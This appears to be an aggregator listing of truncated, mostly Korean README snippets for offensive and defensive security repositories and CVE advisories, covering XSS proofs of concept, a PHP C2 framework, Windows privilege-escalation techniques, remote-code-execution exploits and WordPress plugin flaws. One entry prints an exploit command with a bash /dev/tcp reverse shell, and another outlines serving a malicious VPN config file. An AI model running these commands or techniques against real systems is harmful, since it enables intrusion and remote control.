recaptcha

설명 이 저장소는 Google의 안티봇reCAPTCHA에 대한 기술적 분석을 담고 있으며, 다음을 중점적으로 다룹니다: 페이로드 구조 및 값 핑거프린팅 기법 난독화 기법 안티 디버깅/변조 방지 기법 가상 머신 연락처 Discord: @grecaptcha Telegram: @lyxlobyx 난독화 기법 reCAPTCHA는 가장 정교한 난독화 기법을 사용하는 안티봇 시스템 중 하나로, 코드를 덜 읽기 쉽게 만들고 리버스 엔지니어링을 더욱 어렵게 만드는 일련의 변환을 적용합니다. 대부분의 난독화는 ASTAbstract Syntax...

zscan

zscan 유연한 핑거프린트 시스템을 기반으로 하는 빠르고 사용자 정의 가능한 서비스 탐지 도구입니다. 인프라 전반의 서비스, API 및 네트워크 구성을 식별하는 데 도움을 줍니다. 문서 | 기능 | 설치 | 사용법 ✨기능 능동 스캐닝 엔진 : 고성능 동시 포트 스캔 및 서비스 탐지 지능형 탐지 : MAC 벤더 식별 200개 이상 OUI 매핑 가상 머신 탐지 VMware, VirtualBox, Hyper-V, KVM 등 OS 핑거프린팅 정밀한 POC 대상 지정 : 핑거프린팅을 통한 고정밀 POC 대상 지정 기존 스캐너보다 빠르...

phpsploit

Full-featured C2 framework which silently persists on webserver via polymorphic PHP oneliner codeclimate maintainability Created by nil0x42 and contributors !https://assets.kitploit.com/production/public/readmes/320/aca304368ddb35833ee8b1f57c068ae36288119...

CVE-2021-38699-Stored-XSS

CVE-2021-38699: TastyIgniter v3.0.7 Restaurtant CMS의 저장형 XSS 저장형 인증 크로스사이트 스크립팅Stored authenticated XSS이 TastyIgniter v3.0.7 Restaurtant CMS 웹 애플리케이션의 System Logs 섹션에 존재합니다. https://vulners.com/cve/CVE-2021-38699 POC 1. 웹 앱의 다른 곳에서 반사형 크로스사이트 스크립팅Reflected XSS을 실행합니다. 참고:...

CVE-2022-40348_Intern-Record-System-Cross-site-Scripting-V1.0-Vulnerability-Unauthenticated

CVE-2022-40348: Intern Record System - 'name' 및 'email' 크로스 사이트 스크립팅 인증되지 않은 XSS Exploit 제목: Intern Record System - 'name' 및 'email' 크로스 사이트 스크립팅 인증되지 않은 XSS 날짜: 2022-06-09 Exploit 제작자: Hamdi Sevben 공급업체 홈페이지: https://code-projects.org/intern-record-system-in-php-with-source-code/ 소프트웨어 링크:...

OWASP-WSTG-Rag

OWASP WSTG RAG OWASP 웹 보안 테스트 가이드WSTG를 벡터 데이터베이스에 색인화하는 검색 증강 생성RAG 시스템으로, REST API와 MCPModel Context Protocol를 통해 보안 테스트 방법론에 즉시 접근할 수 있으며 Claude Code와 통합됩니다. 특징 완전한 WSTG 범위 - 12개 WSTG 테스트 카테고리 전체가 색인화되어 검색 가능 의미 기반 검색 - 자연어 질의를 사용하여 관련 테스트 방법론을 찾을 수 있음 MCP 통합 - Claude Code와 직접 통합되어 AI 지원 침투...

DirCreate2System

DirCreate2System 특권 디렉터리 생성 버그와 Windows Error Reporting을 이용해 NT AUTHORITY\SYSTEM을 획득하는 무기화 간단한 설명: 저는 comctl32.dll시스템 디렉터리에 실제로 존재하지 않는 누락된 파일이 schtasks를 실행함으로써 Windows 오류 보고를 통해 wermgr.exe에 로드된다는 것을 발견했습니다. 즉, C:\windows\system32\wermgr.exe.local 폴더를 Full 권한 ACL로 생성할 수 있다면 해당 폴더에서 comctl32.dll 을...

WonderShell

WonderShell - CVE - 2021-44595 | CVE - 2021-44596 Discovered by Netanel Cohen와 Tomer Peled, BugSec의 보안 연구원. Description Wondershare Dr.Fone을 악용하는 POC 예제입니다. Dr.Fone은 Wondershare가 개발한 휴대폰 툴킷이며, RCE에 취약합니다. 네트워크 접근만으로도 SYSTEM 사용자 권한으로 원격 코드를 실행할 수 있습니다. 취약한 서비스: InstallAssistService.exe...

faraday_plugins

설치 pip install faraday-plugins 명령어 플러그인 목록 모든 플러그인을 나열하고 명령 또는/및 보고서와 호환되는지 여부를 표시합니다 선택적 매개변수: -cpf / --custom-plugins-folder PATH: 지정된 경우 해당 경로에서 사용자 정의 플러그인도 검색합니다 faraday-plugins list-plugins 명령에서 플러그인 자동 감지 테스트 faraday-plugins detect-command "ping -c 4 www.google.com" Faraday Plugin: ping...

pcc

PHP Secure Configuration Checker Check current PHP configuration for potential security flaws. Simply access this file from your webserver or run on CLI. Author This software was written by Ben Fuhrmannek, SektionEins GmbH, in an effort to automate php.ini checks and spend more time on cheerful...

power-tracks-research

Power Tracks 연구 "Power Tracks", "Stock Galaxy", "Warped Prism" 시장 메커니즘에 대한 종합 연구 저장소입니다. 이 코드베이스는 현대 시장 미시구조에서 시스템적 이상 현상을 발견하고 매핑하는 데 사용되는 도구, 파이프라인 및 검증 스위트를 포함합니다. 구조 연구는 세 가지 주요 축으로 구성됩니다. I. 신호: Power Tracks 및 스테가노그래피 비정상적인 "심장박동"과 숨겨진 데이터 채널 탐지. Phase 57 : Detection Stack - Power Tracks 탐지를...

CVE-2025-1910-WatchGuard-Privilege-Escalation

WatchGuard Mobile VPN with SSL 클라이언트 권한 상승 CVE-2025-1910 WatchGuard의 Mobile VPN with SSL MD5SUM Pack into a .wgssl file tar -czf ../clientexploit.wgssl client.ovpn MD5SUM run.bat cd .. 5. flask를 사용하여 악성 client.wgssl 파일을 제공합니다: Start the flask HTTPS server sudo python3 srv.py 선택적으로 openssl을 통해 새...

analyzeMFT

AnalyzeMFT 상태 : Windows, macOS, Linux에서 Python 3.8-3.12를 대상으로 한 모든 테스트가 통과했습니다. 빠른 시작 Install pip install analyzeMFT Basic usage python analyzeMFT.py -f MFTFILE -o output.csv --csv Generate test MFT for testing python -c "from src.analyzeMFT.testgenerator import createtestmft;...

CVE-2009-4623

고급 댓글 시스템 1.0 - 원격 명령 실행 RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 예제 python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

amradio

AM 라디오 비상 방송 시스템 Red Pitaya FPGA를 사용하는 12채널 AM 라디오 방송 시스템으로, 무인 터널에서 비상 경보를 전송합니다. 터널에서 AM 라디오를 사용하는 이유? 건설 및 유지보수 중에 표준 AM 라디오를 장착한 차량은 이동 통신이 없는 터널을 통과합니다. AM 신호는 누설 동축 케이블을 통해 터널 구조를 따라 전파되며, 수신기는 저렴하고 견고하며 모든 차량에 이미 설치되어 있습니다. 이 시스템은 사전 녹음된 비상 경보를 여러 주파수로 방송하여 대역 내 어떤 방송국에 맞춰진 AM 라디오든 메시지를 수신...

mac-monitor

🎉 Mac Monitor의 공식 새 홈에 오신 것을 환영합니다! Mac Monitor는 macOS 보안 연구, 멀웨어 트라이지 및 시스템 문제 해결을 위해 특별히 제작된 고급 독립형 시스템 모니터링 도구 입니다. Apple의 Endpoint SecurityES 및 System Extension API를 활용하여 시스템 이벤트를 수집 및 보강하고 그래픽으로 표시하며, 사용자와 관련된 이벤트만 표시하도록 설계된 광범위한 기능 세트를 갖추고 있습니다. 수집된 원격 측정 데이터에는 프로세스, 프로세스 간, 메모리, XPC, 파일 이벤...

CVE-2026-93430

The GD Rating System plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in all versions up to and including 3.7.1 . The root cause is insufficient input sanitization and output escaping within the gdrts_live_handler AJAX action, specifically affecting the 'title' and 'url' Re...

EUVD-2026-91922

The GD Rating System plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'title' and 'url' Render Args in gdrtslivehandler AJAX in all versions up to, and including, 3.7.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated...

CVE-2026-93430 GD Rating System <= 3.7.1 - Unauthenticated Stored Cross-Site Scripting via 'title' and 'url' Render Args in gdrts_live_handler AJAX

The GD Rating System plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'title' and 'url' Render Args in gdrtslivehandler AJAX in all versions up to, and including, 3.7.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated...

CVE-2026-11399 Helpdesk Support Ticket System for WooCommerce <= 2.1.6 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary Ticket Response Deletion via 'id' Parameter

The Helpdesk Support Ticket System for WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.1.6 via the 'id' parameter due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with...